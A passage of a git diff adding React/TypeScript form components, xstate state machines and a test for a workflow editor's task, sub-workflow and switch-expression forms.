string; + description?: string; + }>({ + name: "", + inputValue: "", + description: "", + }); + + const [open, toggleOpen] = useState(false); + const [maybeFormError, setFormError] = useState(""); + const [options, setOptions] = useState< + { name: string; description: string }[] + >([]); + + const { workflowDefinitionActor } = useContext(WorkflowEditContext); + const currentWorkflow = useSelector( + workflowDefinitionActor!, + (state) => state.context.currentWf, + ); + + const taskVisibility = featureFlags.getValue( + FEATURES.TASK_VISIBILITY, + "READ", + ); + const { refetch: refetchAllDefinitions } = useFetch( + `/metadata/taskdefs?access=${taskVisibility}`, + { + onSuccess: (data: TaskDef[]) => { + setOptions( + data + .map((task: TaskDef) => ({ + name: task.name, + description: task.description, + })) + .sort((a, b) => a.name.localeCompare(b.name)), + ); + }, + }, + ); + + const handleClose = () => { + setDialogValue({ + name: "", + inputValue: "", + description: "", + }); + + toggleOpen(false); + }; + + const { + mutate: persistNewTaskDefinition, + isLoading: isSavingNewTaskDefintion, + } = useAction("/metadata/taskdefs", "post", { + onSuccess: () => { + if (triggerSuccessEvent) { + triggerSuccessEvent(); + } + + refetchAllDefinitions(); + handleClose(); + }, + onError: (err: any) => { + console.error("There was an error", err); + setFormError("Error creating task definition"); + }, + }); + + const ownerEmail = useMemo( + () => (currentWorkflow as WorkflowDef).ownerEmail, + [currentWorkflow], + ); + + const maybeNameErrorProps = useMemo( + () => + options.findIndex(({ name }) => name === dialogValue.name) === -1 + ? {} + : { error: true, helperText: "Name already exists" }, + [options, dialogValue], + ); + + const handleSubmit = useCallback( + (event: any) => { + event.preventDefault(); + onChange(dialogValue.name); + + const newTaskDefinition = { + ...NEW_TASK_TEMPLATE, + ownerEmail, + ...dialogValue, + }; + // @ts-ignore + persistNewTaskDefinition({ + body: JSON.stringify([newTaskDefinition]), + }); + }, + [dialogValue, persistNewTaskDefinition, ownerEmail, onChange], + ); + + const isValidTaskDefinition = useMemo( + () => options?.some((option) => option?.name === value), + [value, options], + ); + + return ( + <> + + option?.name === currentValue + } + autoHighlight + componentsProps={{ paper: { elevation: 3 } }} + onChange={(_event, newValue: any) => { + if (typeof newValue === "string") { + // From Material docs: + // timeout to avoid instant validation of the dialog's form. + setTimeout(() => { + toggleOpen(true); + setDialogValue({ + name: newValue, + }); + }); + } else if (newValue && newValue.inputValue) { + toggleOpen(true); + setDialogValue({ + name: newValue.inputValue, + }); + } else { + if (typeof newValue?.name === "undefined") { + onChange(""); + } else { + onChange(newValue.name); + } + } + }} + filterOptions={(options, params) => { + const filtered = filter(options, params); + const currentValue = params.inputValue || value; + + if (currentValue) { + const currentIndex = options.findIndex( + (option) => option.name === currentValue, + ); + + if (currentIndex === -1) { + filtered.unshift({ + inputValue: currentValue, + name: `Create new: "${currentValue}"`, + }); + } + } + + return filtered; + }} + id="simple-task-name-input-autocomplete-text-field" + options={options} + getOptionLabel={(option) => { + // e.g value selected with enter, right from the input + if (typeof option === "string") { + return option; + } + if (option.inputValue) { + return option.inputValue; + } + return option.name; + }} + selectOnFocus + clearOnBlur + handleHomeEndKeys + renderOption={(props, option) => ( +
    1. + + + {option.name} + + {option.description} + +
      2. + )} + freeSolo + renderInput={(params) => { + const { inputProps: originalInputProps, ...restParams } = params; + const { + onChange: originalOnChange = ( + _e: React.ChangeEvent, + ) => ({}), + ...restInputProps + } = originalInputProps; + + return ( + + ); + }} + sx={[autocompleteStyle({ value })]} + clearIcon={} + /> + {value && isValidTaskDefinition && ( + + + Edit task definition + + + )} + +
      + Create task definition + + setFormError("")} + > + {maybeFormError} + + + A new task definition with default values will be created. + + + setDialogValue({ + ...dialogValue, + name: value, + }), + )} + label="Name" + type="text" + {...maybeNameErrorProps} + /> + + setDialogValue({ + ...dialogValue, + description: value, + }) + } + label="Description" + type="text" + /> + + + + + + {isSavingNewTaskDefintion && ( + + )} + + +
      +       + + ); +}; + +export default SimpleTaskNameInput; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/StartWorkflowTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/StartWorkflowTaskForm.tsx new file mode 100644 index 0000000..d910e5c --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/StartWorkflowTaskForm.tsx @@ -0,0 +1,301 @@ +import { Box, CircularProgress, Grid } from "@mui/material"; +import { useInterpret } from "@xstate/react"; +import Button from "components/ui/buttons/MuiButton"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import _path from "lodash/fp/path"; +import _isEmpty from "lodash/isEmpty"; +import _isNil from "lodash/isNil"; +import _last from "lodash/last"; +import { getWorkflowDefinitionByNameAndVersion } from "pages/definition/commonService"; +import TaskFormSection from "pages/definition/EditorPanel/TaskFormTab/forms/TaskFormSection"; +import { TaskFormProps } from "pages/definition/EditorPanel/TaskFormTab/forms/types"; +import IdempotencyForm from "pages/runWorkflow/IdempotencyForm"; +import { IdempotencyStrategyEnum } from "pages/runWorkflow/types"; +import { useMemo } from "react"; +import { TaskType } from "types/common"; +import { WORKFLOW_DEFINITION_URL } from "utils/constants/route"; +import { updateField } from "utils/fieldHelpers"; +import { openInNewTab } from "utils/helpers"; +import { useAuthHeaders } from "utils/query"; +import { + handleChangeIdempotencyValues, + updateInputParametersCommon, +} from "../../helpers"; +import { MaybeVariable } from "../MaybeVariable"; +import { Optional } from "../OptionalFieldForm"; +import { + StartSubWfNameVersionMachineContext, + startSubWfNameVersionMachine, +} from "./state"; +import { useStartSubWfNameVersionMachine } from "./state/hook"; + +const START_WORKFLOW_INPUT_PATH = "inputParameters.startWorkflow.input"; +const START_WORKFLOW_CORRELATION_ID_PATH = + "inputParameters.startWorkflow.correlationId"; + +export const StartWorkflowTaskForm = ({ task, onChange }: TaskFormProps) => { + const authHeaders = useAuthHeaders(); + + const maybeSelectedWorkflowName = useMemo( + () => + _isNil(task?.inputParameters?.startWorkflow?.name) || + _isEmpty(task?.inputParameters?.startWorkflow?.name) + ? undefined + : task?.inputParameters?.startWorkflow?.name, + [task?.inputParameters?.startWorkflow?.name], + ); + + const handleSelectServiceWhichCallsOnChange = ( + onChange: TaskFormProps["onChange"], + ) => { + return async (context: StartSubWfNameVersionMachineContext) => { + const taskJson = { + ...task, + inputParameters: { + ...task.inputParameters, + startWorkflow: { + ...task.inputParameters?.startWorkflow, + name: context.workflowName, + version: _last( + _path(context.workflowName, context.fetchedNamesAndVersions), + ), + input: {}, + }, + }, + }; + await updateInputParametersCommon( + taskJson, + task, + authHeaders, + onChange, + "inputParameters.startWorkflow", + "inputParameters.startWorkflow.input", + TaskType.START_WORKFLOW, + getWorkflowDefinitionByNameAndVersion, + ); + }; + }; + + const startSubWfNameVersionActor = useInterpret( + startSubWfNameVersionMachine, + { + ...(process.env.NODE_ENV === "development" ? { devTools: true } : {}), + context: { + authHeaders, + workflowName: maybeSelectedWorkflowName, + }, + services: { + handleSelect: handleSelectServiceWhichCallsOnChange(onChange), + }, + }, + ); + + const [ + { wfNameOptions: options, availableVersions, isFetching }, + { handleSelectWorkflowName }, + ] = useStartSubWfNameVersionMachine(startSubWfNameVersionActor); + + const isOpenButtonDisabled = useMemo( + () => + !( + task?.inputParameters?.startWorkflow?.name && + options?.includes(task?.inputParameters?.startWorkflow?.name) && + task?.inputParameters?.startWorkflow?.version && + !isFetching + ), + [ + task?.inputParameters?.startWorkflow?.version, + isFetching, + task?.inputParameters?.startWorkflow?.name, + options, + ], + ); + + return ( + + + + + + + { + handleSelectWorkflowName(val); + }} + onBlur={(val) => { + if (task?.inputParameters?.startWorkflow?.name !== val) { + handleSelectWorkflowName(val); + } + }} + onInputChange={(val) => { + onChange( + updateField( + "inputParameters.startWorkflow.name", + val, + task, + ), + ); + }} + value={task?.inputParameters?.startWorkflow?.name} + otherOptions={options} + label="Workflow name" + /> + + + { + const taskJson = { + ...task, + inputParameters: { + ...task.inputParameters, + startWorkflow: { + ...task.inputParameters?.startWorkflow, + version: val, + }, + }, + }; + updateInputParametersCommon( + taskJson, + task, + authHeaders, + onChange, + "inputParameters.startWorkflow", + "inputParameters.startWorkflow.input", + TaskType.START_WORKFLOW, + getWorkflowDefinitionByNameAndVersion, + ); + }} + value={task?.inputParameters?.startWorkflow?.version} + otherOptions={availableVersions} + label="Version" + coerceTo="integer" + /> + + + + + + + + + + + onChange( + updateField( + START_WORKFLOW_CORRELATION_ID_PATH, + val, + task, + ), + ) + } + /> + + + + + + + handleChangeIdempotencyValues( + data, + task, + "inputParameters.startWorkflow", + onChange, + ) + } + /> + + + + + + { + onChange(updateField(START_WORKFLOW_INPUT_PATH, val, task)); + }} + path={"inputParameters.startWorkflow.input"} + taskType={TaskType.START_WORKFLOW} + > + + onChange(updateField(START_WORKFLOW_INPUT_PATH, val, task)) + } + /> + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/index.ts new file mode 100644 index 0000000..2d43bfd --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/index.ts @@ -0,0 +1 @@ +export * from "./StartWorkflowTaskForm"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/actions.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/actions.ts new file mode 100644 index 0000000..70e8bbb --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/actions.ts @@ -0,0 +1,43 @@ +import { DoneInvokeEvent, assign } from "xstate"; +import _keys from "lodash/keys"; +import _isEmpty from "lodash/isEmpty"; +import _isUndefined from "lodash/isUndefined"; +import _path from "lodash/fp/path"; +import { + SelectWorkflowNameEvent, + StartSubWfNameVersionMachineContext, +} from "./types"; + +export const persistWfName = assign< + StartSubWfNameVersionMachineContext, + SelectWorkflowNameEvent +>((_, { name }) => ({ + workflowName: name, +})); + +export const persistFetchedNamesAndVersions = assign< + StartSubWfNameVersionMachineContext, + DoneInvokeEvent> +>((_, { data }: { data: Map }) => { + const obj = Object.fromEntries(data.entries()); + return { + fetchedNamesAndVersions: obj, + }; +}); + +export const persistOptions = assign( + (context) => { + const namesAndVersinKeys = _keys(context?.fetchedNamesAndVersions); + const wfNameOptions = + namesAndVersinKeys.length === 0 ? [] : namesAndVersinKeys; + + const availableVersions = + _isUndefined(context.workflowName) && !_isEmpty(wfNameOptions) + ? [] + : _path(context.workflowName, context.fetchedNamesAndVersions); + return { + wfNameOptions: wfNameOptions, + availableVersions: availableVersions, + }; + }, +); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/hook.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/hook.ts new file mode 100644 index 0000000..3f3d065 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/hook.ts @@ -0,0 +1,46 @@ +import { ActorRef } from "xstate"; +import { useSelector } from "@xstate/react"; +import { + StartSubWfNameVersionEvents, + StartSubWfNameVersionStates, + StartSubWfNameVersionTypes, +} from "./types"; + +export const useStartSubWfNameVersionMachine = ( + actor: ActorRef, +) => { + const wfNameOptions = useSelector( + actor, + (state) => state.context.wfNameOptions, + ); + + const availableVersions = useSelector( + actor, + (state) => state.context.availableVersions, + ); + + const isFetching = useSelector( + actor, + (state) => + state.matches(StartSubWfNameVersionStates.HANDLE_SELECT_WORKFLOW_NAME) || + state.matches(StartSubWfNameVersionStates.GO_BACK_TO_IDLE), + ); + + const handleSelectWorkflowName = (name: string) => { + actor.send({ + type: StartSubWfNameVersionTypes.SELECT_WORKFLOW_NAME, + name, + }); + }; + + return [ + { + wfNameOptions, + availableVersions, + isFetching, + }, + { + handleSelectWorkflowName, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/index.ts new file mode 100644 index 0000000..79fd822 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/index.ts @@ -0,0 +1,2 @@ +export * from "./machine"; +export * from "./types"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/machine.test.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/machine.test.ts new file mode 100644 index 0000000..3fb9717 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/machine.test.ts @@ -0,0 +1,86 @@ +import { interpret } from "xstate"; +import { startSubWfNameVersionMachine } from "./machine"; +import { + StartSubWfNameVersionTypes, + StartSubWfNameVersionStates, +} from "./types"; +import * as actions from "./actions"; +// Mocking services + +const workflowNameVersionMap = new Map([ + ["workflow1", [1, 2]], + ["English_Lesson", [1]], + ["workflow13", [3, 4]], +]); +const mockMachine = startSubWfNameVersionMachine.withConfig({ + services: { + fetchWfNamesAndVersions: async () => + await Promise.resolve(workflowNameVersionMap), + handleSelect: async () => {}, + }, + actions: actions as any, +}); + +const service = interpret(mockMachine); + +beforeAll(() => { + // Start the service + service.start(); +}); + +afterAll(() => { + // Stop the service when you are no longer using it. + service.stop(); +}); +describe("StartSubWfVersion machine tests", () => { + it(`should reach ${StartSubWfNameVersionStates.IDLE} state after handling`, () => { + const newFieldName = "English_Lesson"; + + return new Promise((resolve, reject) => { + service.onTransition((state) => { + if ( + state.matches([StartSubWfNameVersionStates.IDLE]) && + !state.context.availableVersions + ) { + // Send events + service.send({ + type: StartSubWfNameVersionTypes.SELECT_WORKFLOW_NAME, + name: newFieldName, + }); + } + + try { + // When SELECT_WORKFLOW_NAME event occurs, state should be in HANDLE_SELECT_WORKFLOW_NAME + expect( + state.event.type !== + StartSubWfNameVersionTypes.SELECT_WORKFLOW_NAME || + state.matches([ + StartSubWfNameVersionStates.HANDLE_SELECT_WORKFLOW_NAME, + ]), + ).toBeTruthy(); + + // Check if we've reached the final state + const isIdleWithVersions = + state.matches([StartSubWfNameVersionStates.IDLE]) && + state.context.availableVersions; + + // Assert context values are correct when in final state + expect( + !isIdleWithVersions || state.context.workflowName === newFieldName, + ).toBeTruthy(); + expect( + !isIdleWithVersions || + JSON.stringify(state.context.availableVersions) === + JSON.stringify([1]), + ).toBeTruthy(); + + if (isIdleWithVersions) { + resolve(); + } + } catch (error) { + reject(error); + } + }); + }); + }); +}); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/machine.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/machine.ts new file mode 100644 index 0000000..639f348 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/machine.ts @@ -0,0 +1,60 @@ +import { createMachine } from "xstate"; +import * as actions from "./actions"; +import * as services from "./service"; +import { + StartSubWfNameVersionEvents, + StartSubWfNameVersionMachineContext, + StartSubWfNameVersionStates, + StartSubWfNameVersionTypes, +} from "./types"; + +export const startSubWfNameVersionMachine = createMachine< + StartSubWfNameVersionMachineContext, + StartSubWfNameVersionEvents +>( + { + id: "startSubWfNameVersionMachine", + predictableActionArguments: true, + initial: "initial", + context: { + authHeaders: {}, + workflowName: "", + fetchedNamesAndVersions: undefined, + }, + states: { + initial: { + invoke: { + id: "fetchWfNamesAndVersions", + src: "fetchWfNamesAndVersions", + onDone: { + actions: ["persistFetchedNamesAndVersions", "persistOptions"], + target: StartSubWfNameVersionStates.IDLE, + }, + }, + }, + [StartSubWfNameVersionStates.IDLE]: { + on: { + [StartSubWfNameVersionTypes.SELECT_WORKFLOW_NAME]: { + actions: ["persistWfName"], + target: StartSubWfNameVersionStates.HANDLE_SELECT_WORKFLOW_NAME, + }, + }, + }, + [StartSubWfNameVersionStates.HANDLE_SELECT_WORKFLOW_NAME]: { + invoke: { + id: "handleSelect", + src: "handleSelect", + onDone: { + actions: ["persistOptions"], + target: StartSubWfNameVersionStates.IDLE, + }, + onError: {}, + }, + }, + }, + }, + { + actions: actions as any, + services: services as any, + }, +); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/service.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/service.ts new file mode 100644 index 0000000..0ccc956 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/service.ts @@ -0,0 +1,26 @@ +import { StartSubWfNameVersionMachineContext } from "./types"; + +import { queryClient } from "queryClient"; +import { fetchWithContext, fetchContextNonHook } from "plugins/fetch"; + +import { logger } from "utils/logger"; +import { getUniqueWorkflowsWithVersions } from "utils/workflow"; +import { WORKFLOW_METADATA_BASE_URL_SHORT } from "utils/constants/api"; + +const fetchContext = fetchContextNonHook(); + +export const fetchWfNamesAndVersions = async ({ + authHeaders: headers, +}: StartSubWfNameVersionMachineContext) => { + const url = WORKFLOW_METADATA_BASE_URL_SHORT; + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, url], + () => fetchWithContext(url, fetchContext, { headers }), + ); + return getUniqueWorkflowsWithVersions(response); + } catch (error) { + logger.error("Fetching Wf short", error); + return Promise.reject({ message: "Error fetching wf short" }); + } +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/types.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/types.ts new file mode 100644 index 0000000..b24e6cd --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/StartWorkflowTaskForm/state/types.ts @@ -0,0 +1,25 @@ +import { AuthHeaders } from "types/common"; + +export enum StartSubWfNameVersionTypes { + SELECT_WORKFLOW_NAME = "SELECT_WORKFLOW_NAME", +} +export enum StartSubWfNameVersionStates { + IDLE = "IDLE", + HANDLE_SELECT_WORKFLOW_NAME = "HANDLE_SELECT_WORKFLOW_NAME", + GO_BACK_TO_IDLE = "GO_BACK_TO_IDLE", +} + +export type SelectWorkflowNameEvent = { + type: StartSubWfNameVersionTypes.SELECT_WORKFLOW_NAME; + name: string; +}; + +export type StartSubWfNameVersionEvents = SelectWorkflowNameEvent; + +export interface StartSubWfNameVersionMachineContext { + authHeaders: AuthHeaders; + workflowName: string; + fetchedNamesAndVersions?: Record; + wfNameOptions?: string[]; + availableVersions?: number[]; +} diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/SubWorkflowOperatorForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/SubWorkflowOperatorForm.tsx new file mode 100644 index 0000000..adef9f4 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/SubWorkflowOperatorForm.tsx @@ -0,0 +1,356 @@ +import { Box, CircularProgress, FormControlLabel, Grid } from "@mui/material"; +import { useInterpret } from "@xstate/react"; +import Button from "components/ui/buttons/MuiButton"; +import MuiCheckbox from "components/ui/MuiCheckbox"; +import { ConductorAutoComplete } from "components/ui/inputs/ConductorAutoComplete"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import { path as _path } from "lodash/fp"; +import _isEmpty from "lodash/isEmpty"; +import _isNil from "lodash/isNil"; +import _last from "lodash/last"; +import { getWorkflowDefinitionByNameAndVersion } from "pages/definition/commonService"; +import IdempotencyForm from "pages/runWorkflow/IdempotencyForm"; +import { IdempotencyStrategyEnum } from "pages/runWorkflow/types"; +import { useMemo } from "react"; +import { TaskType } from "types"; +import { WORKFLOW_DEFINITION_URL } from "utils/constants/route"; +import { updateField } from "utils/fieldHelpers"; +import { useAuthHeaders } from "utils/query"; +import { + handleChangeIdempotencyValues, + updateInputParametersCommon, +} from "../../helpers"; +import { ConductorObjectOrStringInput } from "../ConductorObjectOrStringInput"; +import { Optional } from "../OptionalFieldForm"; +import { + StartSubWfNameVersionMachineContext, + startSubWfNameVersionMachine, +} from "../StartWorkflowTaskForm/state"; +import { useStartSubWfNameVersionMachine } from "../StartWorkflowTaskForm/state/hook"; +import TaskFormSection from "../TaskFormSection"; +import { TaskFormProps } from "../types"; + +const SUB_WORKFLOW_INPUT_PARAMETER_PATH = "inputParameters"; +const SUB_WORKFLOW_TASK_TO_DOMAIN_PATH = "subWorkflowParam.taskToDomain"; + +export const SubWorkflowOperatorForm = ({ + task, + onChange, + onToggleExpand, + collapseWorkflowList, +}: TaskFormProps) => { + const authHeaders = useAuthHeaders(); + + const maybeSelectedWorkflowName = useMemo( + () => + _isNil(task?.subWorkflowParam?.name) || + _isEmpty(task?.subWorkflowParam?.name) + ? undefined + : task?.subWorkflowParam?.name, + [task?.subWorkflowParam?.name], + ); + + const handleSelectServiceWhichCallsOnChange = ( + onChange: TaskFormProps["onChange"], + ) => { + return async (context: StartSubWfNameVersionMachineContext) => { + const taskJson = { + ...task, + inputParameters: {}, + subWorkflowParam: { + ...task.subWorkflowParam, + name: context.workflowName, + version: _last( + _path(context.workflowName, context.fetchedNamesAndVersions), + ) as number, + }, + }; + + await updateInputParametersCommon( + taskJson, + task, + authHeaders, + onChange, + "subWorkflowParam", + "inputParameters", + TaskType.SUB_WORKFLOW, + getWorkflowDefinitionByNameAndVersion, + ); + }; + }; + + const startSubWfNameVersionActor = useInterpret( + startSubWfNameVersionMachine, + { + ...(process.env.NODE_ENV === "development" ? { devTools: true } : {}), + context: { + authHeaders, + workflowName: maybeSelectedWorkflowName, + }, + services: { + handleSelect: handleSelectServiceWhichCallsOnChange(onChange), + }, + }, + ); + + const [ + { wfNameOptions: options, availableVersions, isFetching }, + { handleSelectWorkflowName }, + ] = useStartSubWfNameVersionMachine(startSubWfNameVersionActor); + + const isOpenButtonDisabled = useMemo( + () => + !( + task?.subWorkflowParam?.name && + options?.includes(task?.subWorkflowParam?.name) && + task?.subWorkflowParam?.version && + !isFetching + ), + [ + task?.subWorkflowParam?.name, + options, + task?.subWorkflowParam?.version, + isFetching, + ], + ); + + const isPriorityError = + typeof task?.subWorkflowParam?.priority === "number" && + (task.subWorkflowParam.priority < 0 || task.subWorkflowParam.priority > 99); + return ( + + + + + + + { + handleSelectWorkflowName(val); + }} + onBlur={(val) => { + if (task.subWorkflowParam?.name !== val) { + handleSelectWorkflowName(val); + } + }} + onInputChange={(val) => { + onChange(updateField("subWorkflowParam.name", val, task)); + }} + value={task.subWorkflowParam?.name} + otherOptions={options} + label="Workflow name" + /> + + + { + // Convert the value to an integer if it's not already + const version = + typeof val === "string" ? parseInt(val, 10) : val; + + const taskJson = { + ...task, + subWorkflowParam: { + ...task.subWorkflowParam, + version, + }, + }; + updateInputParametersCommon( + taskJson, + task, + authHeaders, + onChange, + "subWorkflowParam", + "inputParameters", + TaskType.SUB_WORKFLOW, + getWorkflowDefinitionByNameAndVersion, + ); + }} + value={task.subWorkflowParam?.version} + options={availableVersions} + label="Version" + /> + + + + + + + + + { + onChange( + updateField( + "subWorkflowParam.workflowDefinition", + val, + task, + ), + ); + }} + /> + + + + onChange( + updateField("subWorkflowParam.priority", val, task), + ) + } + error={isPriorityError} + helperText={ + isPriorityError ? "must be from 0 to 99" : undefined + } + coerceTo="integer" + inputProps={{ + tooltip: { + title: "Priority", + content: + "If set, this priority overrides the parent workflow’s priority. If not, it inherits the parent workflow’s priority.", + }, + }} + /> + + + + + + + handleChangeIdempotencyValues( + data, + task, + "subWorkflowParam", + onChange, + ) + } + /> + + + + + + onToggleExpand(task?.subWorkflowParam?.name) + } + /> + } + label="Expand" + /> + + + + + + + + onChange( + updateField(SUB_WORKFLOW_INPUT_PARAMETER_PATH, value, task), + ) + } + /> + + + + onChange(updateField(SUB_WORKFLOW_TASK_TO_DOMAIN_PATH, value, task)) + } + /> + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/index.ts new file mode 100644 index 0000000..476bc4f --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/index.ts @@ -0,0 +1 @@ +export * from "./SubWorkflowOperatorForm"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/types.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/types.ts new file mode 100644 index 0000000..fd6b415 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SubWorkflowOperatorForm/types.ts @@ -0,0 +1,3 @@ +import { WorkflowDef } from "types"; + +export type WorkflowByName = Record; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/SwitchCodeBlock.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/SwitchCodeBlock.tsx new file mode 100644 index 0000000..d6cba2f --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/SwitchCodeBlock.tsx @@ -0,0 +1,213 @@ +import { EditorProps, Monaco } from "@monaco-editor/react"; +import { BoxProps } from "@mui/material"; +import { Theme } from "@mui/material/styles"; +import { SxProps } from "@mui/system"; +import _keys from "lodash/keys"; +import { + CSSProperties, + FunctionComponent, + MutableRefObject, + ReactNode, + useCallback, + useContext, + useEffect, + useRef, +} from "react"; + +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import { + invalidDollarVariables, + undeclaredInputParameters, +} from "pages/definition/helpers"; +import { ColorModeContext } from "theme/material/ColorModeContext"; +import { SwitchTaskDef } from "types"; +import { + OnlyTheWordInfoProp, + editorAddCommandAltEnter, + editorDecorations, +} from "../../helpers"; +import { smallEditorDefaultOptions } from "../editorConfig"; +import { logger } from "utils/logger"; + +type SwitchCodeBlockProps = { + label?: ReactNode; + language?: string; + onChange?: (taskChanges: Partial) => void; + containerProps?: BoxProps; + error?: boolean; + height?: number | "auto"; + minHeight?: number; + autoformat?: boolean; + labelStyle?: SxProps; + languageLabel?: string; + containerStyles?: CSSProperties; + autoSizeBox?: boolean; + task: Partial; +} & Partial>; + +const additionalEditorOptions = { + lineNumbers: "on" as const, + lineDecorationsWidth: 10, +}; + +const warnUndeclaredVariables = ( + editor: Monaco, + monaco: any, + task: Partial, + currentDecorations: MutableRefObject, +) => { + const model = editor.getModel(); + const taskExpression = task?.expression; + if (model && taskExpression && editor) { + const addedInputParameters = undeclaredInputParameters( + model.getValue(), + task?.inputParameters, + ); + + const invalidDollarVars = invalidDollarVariables(model.getValue()); + + const decorations = editorDecorations( + model, + [...addedInputParameters, ...invalidDollarVars], + monaco, + ); + + return editor.deltaDecorations( + currentDecorations.current ? currentDecorations.current : [], + decorations.flat(), + ); + } +}; + +const SwitchCodeBlock: FunctionComponent = ({ + language = "json", + onChange = () => null, + autoSizeBox = false, + task, + ...restOfProps +}) => { + const taskRef = useRef | null>(null); + taskRef.current = task; + const { mode } = useContext(ColorModeContext); + const disposeRef = useRef(null) as any; + const currentDecorations = useRef([]) as any; + + useEffect(() => { + return () => { + if (disposeRef.current) { + try { + disposeRef.current(); + } catch (error) { + logger.error("Error disposing from Ref on unmount", error); + } + } + }; + }, []); + + const handleEditorDidMount = useCallback( + (editor: Monaco, monaco: any) => { + const callBackFunction = (onlyTheWordInfo: OnlyTheWordInfoProp) => { + onChange({ + ...taskRef.current, + inputParameters: { + ...taskRef.current!.inputParameters, + [onlyTheWordInfo.word]: "", // Add the original word + }, + } as Partial); + // cleanup + currentDecorations.current = warnUndeclaredVariables( + editor, + monaco, + taskRef.current!, + currentDecorations, + ); + }; + // editor.AddCommand function + editorAddCommandAltEnter(editor, monaco, taskRef, callBackFunction); + + editor.onDidChangeModelContent((_event: any) => { + // Warn on change + currentDecorations.current = warnUndeclaredVariables( + editor, + monaco, + taskRef.current!, + currentDecorations, + ); + }); + + // Warn on mount + currentDecorations.current = warnUndeclaredVariables( + editor, + monaco, + taskRef.current!, + currentDecorations, + ); + }, + [onChange], + ); + + const onEditorChange = useCallback( + (editorValue: string) => { + onChange({ + ...taskRef.current, + expression: editorValue, + } as Partial); + }, + [onChange], + ); + + return ( + { + handleEditorDidMount(editor, monaco); + }} + beforeMount={(monaco: Monaco) => { + if (disposeRef.current) { + try { + disposeRef.current(); + } catch (error) { + logger.error("Error disposing from Ref on beforeMount", error); + } + disposeRef.current = null; + } + const disposable = monaco.languages.registerCompletionItemProvider( + "javascript", + { + provideCompletionItems: () => { + const inputVariables = _keys(taskRef?.current?.inputParameters); + let variableSuggestions: string[] = []; + if (inputVariables) { + variableSuggestions = inputVariables.map((item) => `$.${item}`); + } + // Provide suggestions for JSON properties that start with the current text + const propertySuggestions = variableSuggestions.map( + (property) => ({ + label: property, + kind: monaco.languages.CompletionItemKind.Value, + insertText: `${property}`, + }), + ); + // Merge custom suggestions with JSON property suggestions + const suggestions = [...propertySuggestions]; + return { suggestions }; + }, + }, + ); + + disposeRef.current = () => 